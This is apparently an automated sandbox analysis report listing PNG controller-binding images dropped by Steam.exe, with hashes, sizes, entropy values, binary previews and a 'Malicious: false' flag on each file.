SHA-512:	6FAAA061289C25B2CB193DD039283B59FB3FD406F3C834ED7570CFC97393570BACC9F52B998C3F8F967AA2875A5A50C9DDCDF5A4CBFC6AB55354F6E1267BEC77
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...d......c......IDATx..}tT..?w.Lf.I...-..K.......VvO.n=...jkE.m.]..Sw....z....[..c8..BZT$....A."..BBH.-.......w......r'w&.sNN.......s..<..{n$]......20.............:.6......4..E..+U..Tb.:..~`.. .Y.b..X.l."v>hW..=.H.<`...j........!V..@.&..C......`..e&cq...:..e.bT`\.[.i.nM.L....k.#..g$......<..V..t....... ..H...a.....\|~(.B....... .=.4..w.....m1<!.....l......h.....]..0..&L....9..T.]e6..,.1nb..p7....f8.u...W.eS...9P...v...L......a..V.BU..A...).....q0m.L..j.<.,wt....x...U..h.#...C.j.,S.b&...,~.T."3Yt...U.h...?...;u:Ga.f.E.~M2.eJ....tb....C......\|.i=.e..0{^...+J...V$.#6k.HL...46@..NssO...3......,c..#v&..U..B......fv....d+..I...........6........O.......i..~?.6.y...T+.s........P.h$:Z.Y.J...F..l.....d.....BU.u.PM.....G>...L..%..)......./....!..f^N6:....I..pw......4...4....(...#..k.s..>...U.........BU..g..z..&.Q.....=..&\|..TW...+]..y.:...Q9+quz.'D.RE.q.g..9..6.!....s...d..%..p![...~.....q.&+\|.h.K......(.......b..u....x.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3212
Entropy (8bit):	7.931506601809357
Encrypted:	false
SSDEEP:
MD5:	B8520F5FB45356B79D1ACF2F0227DBA8
SHA1:	AA42E9A00861B2CDFD8C1E858BDC5143EAF7DF1B
SHA-256:	77209073DAE35E4B1A585DA297F0C82BC216013AD40ABE2490199E22AF824992
SHA-512:	94B1AEF2037A79B888D771E4FC36D841E83D3310151DC16C0F8A13143DB7AA4C91BDCE9995006604A023CC31030AEE495C03AF806DC09769A702B5AB75D1BC3A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|......SIDATx..{pT...?.w.........$C.b.....6S.A-.v..T..QKU......_...X......,.....D..B.k!LH.....<..=....Mv..}.ww3....9...=.s.=.w~.`..\|...Wv..........@.....4.../.Z.AM.q.0..".t.Ebd.3...O.~@0...m@w....b..0.b.........@.Q...>.f.].f.a.~...v..L...Y.3...4U.D.(D..*. ...N....j.L.a.>'..pO.........wG;.tCw'x.j).....2 +.r.... g......xd+..p...w.BGy....u...v.y.....N4BK..:..mq=.....>.rGC.h......9B....&N.../1]DW.4.Cs...-.1F.C.8.S.28+R.[.r...&...o.............d.0.....P01RKY.,...)b8]<.<.wM.4A.A8~$..S.;...@.....S....OX...{.ez...ph.t.G.a...0q2.....x._...p......!<n...._.Zlk.4..........u0,....:4].tC..p..).u..C.5(.2...r...M..A....<4]x..)..2..e..Z.............~\...ZF!...M7q.(D.....B...t.]..:.8.S7q....DK..j....e......nr-.....8"U.O#t.C.A....d.u..Cm.ohr.;......?".......[.TB..#.....C.... .!P..5W..kX..VY.-..%......../..[.>.;..z...:..o..i..h4....Z.e]...M...@.U..d..?g.....i.L..rwh...B!.-<n.2....d.$'...@.....z].&....[...qW].z...N........0..p.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_system.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 129, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4550
Entropy (8bit):	7.944409380559886
Encrypted:	false
SSDEEP:
MD5:	F40683BB43E82B5337A1A88F3DFB2F54
SHA1:	A7F5F43D7D69DC67ED486F6DE33099C095BD8412
SHA-256:	244BE7DB7C7876AD1697172197B023FF373CA5FE29579AAF5AE9C37149BE7843
SHA-512:	E35F01FFCA8CF1A7A36264EDC3F0E9D0EB75B22B525DB3C3848A7F37DA837DACEBEB3DED4E17B4776C431AC6F2710FD39299DC2803385870252E08A318CC5382
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C.................IDATx..{x.U......!...p..HP....YEtfE.t..Q.aE]EW...U.QG.2.LT.u@.!.2.D..E....(..CbH0.........NwW.....}...T.:u..>..w...".]IF...C...E@>0...P.T....`?P..W.Y8...c)Ibd......6..z`....b2-..b.,LW...k.f...B.K...._....j.B....\|.\|.L. .HL.../OKE1+.0D?...3]..........z...H.G.....+V.....5p....X..-..............9..^......9.V...t.....Q..z.#.>.K....r#.Q<n8^.U.PsBT.5.{_f...8}.@...;$.0..{........s4.$..NG..tQ.....T...eJ.G.h9=..Ca.0.n.]q.'_Z..h..v.:.xE/w........j......y#!od..r.'_z58 .1t....].S.cz.r8.-.;.OR.h...[[...e......\|..R.y.y.$.S..K./".........D.4Os#(..V.......^....../-.7.C..^.,..W<n..;......E....Q...]U.".K....(.o.X........p.x.H.?5.....lZ>..%&....R....p..._B....t.k....Iz7..... ....e.....=P....S_.'D...B.)zC.0.U....'...d.y.%].pu'.&3.F..tS.[.......1X..r1j..[.q.F..&;..--0.C.....4...(Y9z....\@w.".eLFL..(.7..t;b..N....wK.Ly. r..CX.....\.l.....!...$\|.P.X..V.cnx.$._.k.B.M..?8E....V.]._.0..n...k....F.>.&..{.....K...K..z..N....W

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	7.938133373792419
Encrypted:	false
SSDEEP:
MD5:	F781FC7D8294869E7EE604A59E8A96DA
SHA1:	F156893FF04547E85CB2DCCB89418FB6F2E0F6C8
SHA-256:	D6C39B8A7A58D10FB88313C4F835CC3FBB06BF988F723691FAF9C53A1A6408E4
SHA-512:	AE2A8E90472FADDE97054339954C5E34EA5338F066F8706471022330FFB53E435A2D7B9C85BA383876554AE2D105D958698696C7FFFC51F84A659B209A969B3C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....X!...../IDATx..{pT...?.7...P......M..C.....m..3T.>\|L.....k.h..k..c....X.@,...(...!1..B ..K ....{....{....=ww..dX.=.<.9g.9..;'.M.0..1.N........7.B _..8......@.....d.u....&1.....w.J......../%".3.W"......N...@O.LOs...CB..d...n....)....=.}z.REIV...~..0$..Xg..g.^.)D.....x.x$V\........o{.....yE.,.d......z..+..^.Q.\V..O..^7.+.D.b.<......>/.j.#......X.z.....@.?(.0...^7-.e.....2..%f............9}.!....E..-...r.Ck0......=W}^._/~N.....pe..R.C.....n..tL1t!...6{..9..{.........kQ.....^7..dT1t!~..5{.6.B.....O.....E#P.GF.1.........N..0...]...'V..c........nc..6......W.vA.v...S\.q.C.8.K....2.N..y..p...L!@..n.(..-z...i..*0....:3....e42.Q.......P..?.....7%T.3vR./.a^..n.BZ...(....9(F....OE.....hJx7..0..G.y.<"].g"t.A....BD.M9/...[....S?....{E....u...1.-....H.^...u.e......x........<&.`.y..,...\....T.W.>.a.x..q8\|^X....#...,.Y...t&W..&.a..g..].r.nB.M.eL6$r.9.e...p.mA.r..[c..;..Q\|.... .p....m...1.....M.S..GW.Z..P8"z..e.p.4A.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3349
Entropy (8bit):	7.926106334744177
Encrypted:	false
SSDEEP:
MD5:	54DFCFFC41E8F6031C2D0D7FC3CCCE10
SHA1:	EDDC8899A0676EC42AA84114437DFFD0D25C362C
SHA-256:	57EF7BF7EBC27F6526C908AFB7D11FA488DC38B9CF252CF677E6E94ECB1F4B27
SHA-512:	8DB96AFA8D6F20196319CA485D58A802E6875E02DC09A1E42A39B858171731E42A6B69E1A1E33E6BA157D23D05D0E95FC815F7113D520BFA159B39D5E4486C5E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v......}.m....IDATx..{pU...?..\... ...d....E:J+..(m...cmQ..U.v..:.v......>..0..XDH.C...!..B0.CB."!.S..{....{.}.7..@..../{..........-NWT.u`.0.......r....@-P.\|.T...u.u......I.T`0..+.....,....8..........L....@!....G...z....\|M.........i....4..cF.JE.W.\.{....wm"g.Qf.Q.%.....x.x(\B.qC.............<n..NHM.......}.>...=.....V..0..;d..\|...:].....`i....j..$\|U.M.Q..IF&\....A..p.....6D..E....4.G.....5UP[..A....r g(..E..."+....t....=.q..#..\CD..L.~0l$.....<.,.4Z..N...O[...'..s8q4l>J.2.roD.0(X....t5<n1..~.,..'......2..H..c.G..,.......%.........{...V.^F...&.{m.v.I.b...5........\..T.>..!."z.T....y...r..t..v.^..w...d..e...4l.I...+.@..{.....d...D....k.t.....!...1.1.L.5.Gu8p,........&..'e.q.p.........&."./...[.#..}.BK.T}n......N1.V.)..#..P...QYw3o.....2..0.....2.<8~D...0..&....nM..s.;9. m0..E..."..A.....x..q..2n.\..W....9sI.97..k......6...2n7er.F.4.\.{..!]....c.'..@...l :.j.-f..^..c.).u...%..y`J.4....n..d....3p..G..-..^..t.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	207276
Entropy (8bit):	7.818996940979608
Encrypted:	false
SSDEEP:
MD5:	9BB5D0558F820072EC310BDC863C861C
SHA1:	71EA7632FD8884BCBC26F4370D32F9F7A7A991ED
SHA-256:	E2DD6321DE3ECDF1F06C86FCD6EA6EBCC5F46D94EA3EF213B0EEB7D919732646
SHA-512:	0F1A24BA572E1302E613C7890E2D70D43CDED3253A04D282A97E14CB3EE7EACB5839F15230E62C81FEEF07AA632849F696F8899321A64D1642E92516F7AA2E32
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs.................tIME......5.6.....2tEXtFile Name.cropped_controller_config_controller.png./...8&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-08-20T12:37:32-07:00</xmp:CreateDate>.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	56296
Entropy (8bit):	7.9789713863682
Encrypted:	false
SSDEEP:
MD5:	DB4E855D5008016D93200425A5554E72
SHA1:	3A14C6FBB9242DD543E64AF076252B2338BD59D5
SHA-256:	E0724E43181DEAFEFB1AEED176801FF96C3152F68E6D26F21211F5BFBBA3E9FA
SHA-512:	B6E23723C7049C900952C40878C0FE0435213C61708421CA5CED8B9EBDE299ECFA8B502D47D61703D1BE375BAAC8A137DED88B940FA0B71E73DB173F07ED937E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42714
Entropy (8bit):	7.969822968798332
Encrypted:	false
SSDEEP:
MD5:	1542092BE6773113D5CE40CA04453007
SHA1:	30FA96DCABACF955A52B14B4A80EF70AFFCB9DBE
SHA-256:	93A3C377E214EFB1DED7E0807A91061B49E8389942459257F7D85C93E7573A6F
SHA-512:	CDF8839639A28F5CD2D005A3439DD87D9B91633BFCDDED4E50A6DEBFF89EBB671F78E92B6748171DB0507727B66C8B4A4316ECE1DB855A05031246F2F8114E12
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......IDATx..y...y.ueR..f.$.7..N.n.....>XU$...<...$..}..5.......B6fv.......v.y`ca.;.g..C.;.f`@..i...d.V...."2#.....AK.<.."......&4MK.Q.IQb.s.U..~m..k..Eb..'.?.vb.........4.~.............-]...._....jd.c9....._,...C.E=>"N"^"n..._H\|E.E.E..+qx.__.]......0(..A........+...........s.(......q...X...g..z.&pR.NBY.u}.U.,............X.'.......T.T....N..I.0......f....'....g....Zr.n-.n\K-.....h..Y..>-.rHK.m.Z..k.{O..M\..\....u.....H.'...Y.X...C.E.G.I.K..8..U.W.Y.[.]._.K...?Q..w.'E...f~.lyG.hM'^.Z...R..s.a.J.l.@.p.Q.[....(...p"n...!.!.!...K.........jc...."pR>.x>.......x.m.......-Z..Z`,..MG.i..........O..FQT...q..?..q...M.,)=^#n#~#...._H.w..D.........OJ.w..\T..uP,uS_6.5.~Ekx..-}..~[W#...E...p".!>._..8.x&.F..T.O=..lc.y.s..I.8)........N..Z...E.]....-..w..%n}.?8..np.(...9p.K..r......z1........K... pR.N..@.._..t.....%-...O@,..\=.5.t.X...3.(.g...8.......V..*.>......N....I.8..A.W....._..x...5?7...o.u@.W..A...EJA............

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_blank.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	54870
Entropy (8bit):	7.977428572680928
Encrypted:	false
SSDEEP:
MD5:	FDE2B2337DBFDD45367B502055B885DC
SHA1:	1988E25BC37AEFA60877B5D64A7417A9A6B47D58
SHA-256:	D0B1ACF8AE014157840AEE71C47B5F9F71DBE30EC550248A75EC6ED6DD47833C
SHA-512:	D8AD8361BC6A48A577F90F5E662ECC76381919D755F28328D54114C3BF8FBF6E0188107A4689EBF41A2CE85B39BD7EFCE27C77D26D372A856A74840CED07861E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_forward.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42718
Entropy (8bit):	7.97183279672672
Encrypted:	false
SSDEEP:
MD5:	15FFFB65AFD38789B7A164AD50B91E4C
SHA1:	468FF9A83FA3569EA5E90F81710FA18948644EE7
SHA-256:	10CD55C620EDC1BDB40B6D840CEF6820D55F6D990C50308448EFA1087C7DB504
SHA-512:	2EEEE7B049E413A2EC77A6FB1A19ED797D5E9C480A0AD974CEE893664274D24F5246DAE518BB09944FA603AEBEF5B16FB9BC76F6CEB6BCBC1680DF668BEC7C7B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......IDATx..y...y.ueR..&..d.fU.E.n....&..U..j.y..x5.>..C...<.`......j....z..@..XX...y......lA..%K.,[.J...~...YyDd....Z..Q...~..=.7e.F...M.R3....4.k......._K.~......n=.G._(.6.\...._...k...=..t-5....,)..E.9V.......R..%."....8.x..Y.G.!..q...qW....A}.N9.J.R.N..8...........'.}....}....).j..D.C.C.....P..i........Q..%./{....3.....n~..E%.8.........~#..8).'..L...2.R1.]{.h..3Z..5.&........q#.t.....X........CF....6~.h.{R~o.........q.?...b...c.gec.........'./.7.............:..W.>...S.w.'E.B.f~.byG.....m[..........{.J.m:...-...F.E..8...T................T.1}..I.8..K<.._%.\|tP\|......#=..X....X.>[.\2R.?(.$.Z..O..FQT...q..8......%d.......e.....].0..(.'..4....I..N...2....n.K...._6.^-qK....Vj.......N.%...c.g.n.RL..Tq.l.......N..Iy...].....8...m..3.,..-(...~.u..F..g....G........... N....5..3L...8.x_.<.,...."pR5..N..]..M.b.s..tv":..T.s....R..........'.P..^.+.(.U.}..y.z.;......'E...>..C.._.+.\y.h}f..,...X...F..wK..>7..........R.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_lb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42676
Entropy (8bit):	7.971469205796436
Encrypted:	false
SSDEEP:
MD5:	E45417E3936DF97DC03217B1994FE8B1
SHA1:	DA7A3B2503B055C3453FACB721F4F861BCA0AD37
SHA-256:	5D785A148C1B2B3F12099A4138C9B124FA3CEF1DFFE786B80CECD86216E3D46C
SHA-512:	96299F25B456308A738D9BA900CA8363D8C9B35242821632BE94263CD55600AA089A05D31CF211CF88DEC5D617B7A6582C5FAC288A1509020176A7359FF139F7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....{IDATx..w...y.Y.!...n....j..=....c0.....4<0...n.....8.Aio.VGVw....I.:).{!).....<.R.[1.....\J..q)Q\2.{./.:..LfU.z.x.3@......}.y.a.)'j.7&JM}........f?.T......M...7?..[..N.O.H.0.3.............V......3.....ZR.U..},O.>YQ.[K?\...+J...}.OS3..#5..R...D..J....{.k......{...sJ.z.N9.J.R.N..E.GA.}.......P......g.......E..p.~pV.w.<~....@t....~.{j..%pR.N>......~.S.,.O...}.B-..y.).J.p.~.[......3....\|N...'E...;M...e.p.}.i..\|....i#=x..tn52+.......=.VkA....Ff....c.l}.h>\|N..a..2....z-...P..k......+..W.2..f..'....F.g.^G....Pk..Y...Uk...F..Q...i...7+...5\|~...I.8..A.UIo....3F..g.L.6.....-....x..R)./..v...EQ......J....6../....Z.:j..h.r.hz.....4....$pR.N*..q{....&.....m4?~.H..5.Z..la,...]F.G.......x......Q..i........zj=m:r.S.,...F.w..t`.h..Z)..ij...CR..N..I...<...O.F.g.....\....X...h>t.h@$......W.d#?G."pF.8...~.k..i4.~V..a..r..\|.9/...Q.oK.<.."pR...k.7?.E..._6Z.?e<......yZ..h>\|VA....._.[%~..E...p..f..~..]........aja...q...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42661
Entropy (8bit):	7.971556287793245
Encrypted:	false
SSDEEP:
MD5:	1311AE7DD89C0479405563BAA3FEC622
SHA1:	E5D484F8AD9612AC6BEA08828130A93975BF22A7
SHA-256:	3B1A523D486CFCADF2570E8516902FEA24C11C3155AE595119D07D866BFE631F
SHA-512:	C537E71A18B9BC8ACBA9232E666A01927540F6585CC5D9729381ECFBA58FE87DA84831BC3D968C70138082A29496A1823EB9A271BD8CA9C84E58A6DD6B00C6CE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....lIDATx..y...y.#...h.U$.7....u.,.l.l6.T.d....^M..f.".5+...,..wf/.0.]...Y...e....3^y..k@..i.#Y..d...=......GDf.....bUfd.....x.a.)'....(5.)..M.{.L..Aj.......G.S.....+.E...........T....}........Zd.c.......{......GW.~=5...P.....#.V.T..gJ......{....+...K.+JK.z.N9.J.R.N.?..p.Z.~U./L.4<...P?..V..&.3EQ...3..U.....[.... :..U?....>.'E..O.xS-d..)`V......j....(Q.9.....Sk.O<.......^$pR.N..y......#..\|...EQ....n)..^Y0....tl.h.u.h.=`.{........z.'.\.W[..Y....5.kv..c...}.....[.>.....;......WS..S..aBfi...zm....EQ.....I.....9.@.3....P.c....\|.....4..G.!pR.N......Y. .4x.......s.(..9...jm..Y.w.}....O!...v..F..S.Ko....f>..$.O....Oi.G..X.f..........)...)....I.7fE3_~.h...}..2..<x^..e...K.<.."pR....W....K.,.v.D...)E.8........W.q7>e.l.iv-f...i....h:y..x.@.._"pR.N..;..j!..2......?.gLQ..P....E....u#.\|(:.Y..3... `\.>......8).'U.>s.Z4.(q.9;...9......y...d.....JL.S......z..../=J[S3...T.=}~...ux_.AsV...F.............{&pR.N..>...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_rb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42857
Entropy (8bit):	7.97117599709045
Encrypted:	false
SSDEEP:
MD5:	2A747E40AB09EFC6158FF3F2DEF969AF
SHA1:	B8EF91AD0D1779ADD61A7117220B9CA9A380ED2E
SHA-256:	410D8B66AC5CEBAB09F347EEECF617037248A0B81930550CC68958E66E6C8F6D
SHA-512:	FB3819BF75A968BB9E71677E95A9392A3AB9AD8A5E7E5FEDF30F9ED8CE9E520D3720345AD1FCA9E5C9A9539EEA80306B0E5BDC81BEC4A1DEA5A1852D34EAE916
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....0IDATx..y...y.ue.`cE..d.lVe]$.&Y...l.[}..x.l.u.j.}....V..!.......Y................<#.....j..$[.,[.$kd...=......GDf.....d.........yS.a...i.(5.)..Ms.^.tE._..\|95......O.<....).6.T....\|S}..R...JWSs.Y.kIQT-......lUEo-U..X....u..%...u.g..b..z.uW._Y....z.r..l......b.Z...E..`ix.....~....u.(.!.....=......Y.i.^.8).'..(.+J_..0+.'......^......X..a..b=..U.7.q.'E."...mB..fW....sF..F...#.n..Y3fd..5.j.1...........F.o..6v.h.s\.7u..J.........X.'.1.ge...e=.....$.K....ZW..b..z.u..^K.U...i.T.;.."pR!G3?[1......_3.6.52.....:...".m....N....Q.U..5m......e...a.....Z.u..3.....>K...T.).'.W.&..(^z.h...H.o7.Z....X.>[._0R.>(.H..:....FQT.......5L.kX...R.5.m..X.....d.wY.D..........K..>.!..E..I}.Z.u.F.k%N.s....f~..E...pb]..T\|pW...3)7.iM..T.z.2&..........hA.e......\|...y.].-...h..........N.G.......>...`.R.V.......:....eIy..?o...4.F.....R.. Lw....Fz..Y.......X.<..X....e. pR.N....C._..t......tv<:.Y*.j.h~.z.h..3.(.g...u.8.y...t...\|.v...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42679
Entropy (8bit):	7.971518868830076
Encrypted:	false
SSDEEP:
MD5:	13FCD6ABB23D9388657E191B4E41AA85
SHA1:	FCFEB81F1DD88468879CAE9307CB725E9A26DB1E
SHA-256:	E3792F8A54E565393129783446A7187DA51A426367880B183AEFE613FB0260B8
SHA-512:	BBF5C20443D07E503287CC7DA19AD94637A58AB81D2F288F58B062A1037D240A8ECD6DA39D610196C9E27222D5F1C14CE024CB2E7DDEDAAA217BE2AD367E6E4A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C.....~IDATx..y...y.#...h.U$.7....u.,.l.l6.>..w7..,^.o..E.5#...,..wf/.0.]...Y...e....3^y..k@..i.,idY.F..=..........w>.<`7YGfd.....x.a.)'....(5.)..M..D.........._O.../5....~.d..S.o?R_.M...Q}.)]NM.z..%EQ....t.3U......sN..Gj....V~#5...J.M...JF.>V..c.....~W}...{{.z.N9.J.R.N.?..t...........'.=.;.s.G...3EQ......R........@em..}..J.. v..."pRq.b....O...~.~..)....(Q..{<..?MM>..3.......:.."pRQ.d.4!.....C......:v.H..adV...E..'..'.\U.^#.t.H.n1ZG..-.......W)..].:n.3.(*.....F2k....y..I.8.......v..l~.U.u.a#...(.P.{...3.f....v...EQ.....B..a.fy.....~..I.8. !sGj....L..h....'.t.V...Af%.l>x.H]y..x.Mj.....Q..e.........h.....&.~.'E.\|...j...\|$.=.}.4d.....i.../.s^}8..M..+5.s.(.g..3.a.ZW.m,@sf...S..I.8).@.....r..t...Y.y.....-.5Z..l..}.4..}.f~..E...p..M=.I,a..<ak...8).'U.d.+..xa......g....Xt .\.s......r.._.gLQ..P....q..~...?..p..."pR.@.G..P...3j3/.k.<=nd...4h..ux.1.wK.....?=...V.=..?..........'......5gL...sr....z....fi........I.8..q..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_controller_config_controller_i_system.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 668 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	57422
Entropy (8bit):	7.979966054163248
Encrypted:	false
SSDEEP:
MD5:	DD540CD6D134718C25832605FE1358FF
SHA1:	A91611F422B40D8F9FFFC332A2D8248BC68D28D2
SHA-256:	CBB14C785C95B9A7FDD388BBC0B69EDE3FBA527AFB4AA8DA3BC661687EA27962
SHA-512:	020C81270A3C63FD4A2804323815CF9C6CC95DCAF4CB9047561D24BD5A89132F3F705ADE24D53862CCA7FEE2C5EB6FB939ECF4CD91E2BFBAA67EBB2E50804E24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............C......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

